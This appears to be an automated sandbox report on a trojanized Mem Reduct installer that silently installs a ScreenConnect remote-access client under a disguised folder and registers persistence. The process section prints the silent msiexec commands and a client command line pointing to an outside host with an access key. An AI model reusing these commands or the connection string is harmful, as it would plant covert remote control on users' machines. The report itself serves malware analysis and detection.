Overview

overview

8

Static

static

3

memreduct/dsetup.dll

windows10-2004-x64

8

memreduct/dsetup.dll

windows11-ltsc_2024-x64

8

memreduct/...ig.dll

windows10-2004-x64

4

memreduct/...ig.dll

windows11-ltsc_2024-x64

8

memreduct/...up.exe

windows10-2004-x64

8

memreduct/...up.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/07/2026, 12:44

Sharing

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General

  • Target
    memreduct/memreduct-3.5.2-setup.exe
  • Size 505KB
  • Sample260706-pygrlabs7l
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoverypersistenceprivilege_escalationrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 35 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 26 IoCs
  • Drops file in Windows directory 35 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\memreduct\memreduct-3.5.2-setup.exe
    "C:\Users\Admin\AppData\Local\Temp\memreduct\memreduct-3.5.2-setup.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Users\Admin\AppData\Local\Temp\0e4d89f7.exe
      "C:\Users\Admin\AppData\Local\Temp\0e4d89f7.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      PID:5572
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress & del /f /q C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5088
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3308
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress & del /f /q C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5676
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:5836
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5680
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4AED8DF50BB73222E9BFB49CB7031582
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI6414.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240673859 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5956
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1A0A94A18B2CA3381605A91F73CD3F32 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4624
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding EC90C09A90CD34548FA635BC858010F0
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1540
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI6DDC.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240676343 22 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3132
  • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=def.filegit.com&p=8041&s=f5fdb15d-9d3c-43e0-93e2-ef4ee2bfdba3&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=memreduct&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "RunRole" "86cd27fd-8617-4261-8510-f5e6b2952e67" "User"
      2⤵
      • Executes dropped EXE
      PID:5216
    • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "RunRole" "e80f21a9-77b9-49df-b512-6f1bc6e16fa0" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3468

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        3
        T1012

        System Information Discovery

        3
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e58637b.rbs
        • Path C:\Config.Msi\e58637b.rbs
        • Size 213KB
        • SHA256 6266eb6bcae5675f17e194527c6b8fe1f453240c8efe7b298f0589f10ec4b5e5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        e58637f.rbs
        • Path C:\Config.Msi\e58637f.rbs
        • Size 3KB
        • SHA256 c217198e04ee06e87eb14549a67ddc0cae73baf50d3c18d5ee96148beacc0f39
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        Client.Override.en-US.resources
        • Path C:\Program Files (x86)\MSCppRuntime9\Client.Override.en-US.resources
        • Size 290B
        • SHA256 d40224a36d0b67c26b0198ca2bbba3ffc1001a972c7b27c245b3e6eb9f505f9e
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        Client.Override.resources
        • Path C:\Program Files (x86)\MSCppRuntime9\Client.Override.resources
        • Size 3KB
        • SHA256 58769c71d6b2af83125bc16d293c0deee45d82a3f2ffe8ba47b6b8d1f63bb8ba
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\MSCppRuntime9\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\MSCppRuntime9\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        app.config
        • Path C:\Program Files (x86)\MSCppRuntime9\app.config
        • Size 2KB
        • SHA256 8fea0b2e7ba414ba5e3f1650676f1d1fbaf46595b58e218a521a83887afc7106
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\MSCppRuntime9\system.config
        • Size 953B
        • SHA256 da6f036a9d7705c08ecbe6b5cba9535c2e79322e2b03cefe2e78033102f607df
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memreduct.exe
        • Path C:\Program Files\Mem Reduct\memreduct.exe
        • Size 387KB
        • SHA256 dd55a81d56e8c32918e5190b2ec2a1f2a7edbbca884627439b4b619fdfb5602d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        uninstall.exe
        • Path C:\Program Files\Mem Reduct\uninstall.exe
        • Size 52KB
        • SHA256 8e42bae39f4f25d697a080b3fd9b576cd524e38a27c7e8ed2e53b7b42f5367eb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        rundll32.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log
        • Size 746B
        • SHA256 ddebb6b1094dbef9e96754a74ebd4761d857864c9bd0b5f20a97259a6d7c8fe0
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        0e4d89f7.exe
        • Path C:\Users\Admin\AppData\Local\Temp\0e4d89f7.exe
        • Size 372KB
        • SHA256 025e5c06f7beccf5c85cbe931bc058f53a4642ca83a00855a475026a5e6334c4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        DXUPDA~1.MSI
        • Path C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
        • Size 12.8MB
        • SHA256 58a48c538f1757b03eada9527b5d186149dcd35f348e4e5b7b0dbab2acce26d5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dxsetup_dbg.log
        • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
        • Size 792B
        • SHA256 c5040059e799884086456875f474306b271a645673cb8d1cdd3f09771f9ff3a2
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        System.dll
        • Path C:\Users\Admin\AppData\Local\Temp\nsm6232.tmp\System.dll
        • Size 12KB
        • SHA256 8b4c47c4cf5e76ec57dd5a050d5acd832a0d532ee875d7b44f6cdaf68f90d37c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        modern-wizard.bmp
        • Path C:\Users\Admin\AppData\Local\Temp\nsm6232.tmp\modern-wizard.bmp
        • Size 150KB
        • SHA256 411961864a8edb7cc2ba384e702bbb787040ea47488d2cefc2ef2c6f0a55a832
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        nsDialogs.dll
        • Path C:\Users\Admin\AppData\Local\Temp\nsm6232.tmp\nsDialogs.dll
        • Size 9KB
        • SHA256 b1350f487692057c8ffde75dcc55287a52a3272240d4d4912f24464b27551fc0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI6414.tmp
        • Path C:\Windows\Installer\MSI6414.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI6414.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI6414.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI6414.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI6414.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI66F4.tmp
        • Path C:\Windows\Installer\MSI66F4.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        CustomAction.config
        • Path C:\Windows\Installer\MSI6DDC.tmp-\CustomAction.config
        • Size 234B
        • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        DXError.log
        • Path C:\Windows\Logs\DXError.log
        • Size 554B
        • SHA256 38383214b56342e1aba32cac5e189e237a2589617e648c62bcae74fd587615b3
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/4140-159-0x00000000045A0000-0x00000000045E1000-memory.dmp
        Download

        memory/4140-157-0x0000000004920000-0x00000000049B2000-memory.dmp
        Download

        memory/4140-152-0x00000000045E0000-0x0000000004630000-memory.dmp
        Download

        memory/4140-141-0x0000000004360000-0x0000000004378000-memory.dmp
        Download

        memory/4140-161-0x0000000004B00000-0x0000000004BD5000-memory.dmp
        Download

        memory/4140-156-0x0000000004630000-0x0000000004666000-memory.dmp
        Download

        memory/5216-191-0x000000001C8B0000-0x000000001CA36000-memory.dmp
        Download

        memory/5216-209-0x0000000000DA0000-0x0000000000DB8000-memory.dmp
        Download

        memory/5216-211-0x000000001B010000-0x000000001B051000-memory.dmp
        Download

        memory/5216-184-0x0000000000DF0000-0x0000000000E26000-memory.dmp
        Download

        memory/5216-210-0x0000000000E30000-0x0000000000E48000-memory.dmp
        Download

        memory/5216-181-0x0000000000450000-0x00000000004E8000-memory.dmp
        Download

        memory/5216-185-0x000000001B410000-0x000000001B49E000-memory.dmp
        Download

        memory/5216-186-0x000000001B650000-0x000000001B7FC000-memory.dmp
        Download

        memory/5956-96-0x0000000004DE0000-0x0000000004E6E000-memory.dmp
        Download

        memory/5956-101-0x0000000005780000-0x0000000005D24000-memory.dmp
        Download

        memory/5956-100-0x0000000005020000-0x00000000051CC000-memory.dmp
        Download

        memory/5956-92-0x0000000004D30000-0x0000000004D3A000-memory.dmp
        Download

        memory/5956-88-0x0000000004D00000-0x0000000004D2E000-memory.dmp
        Download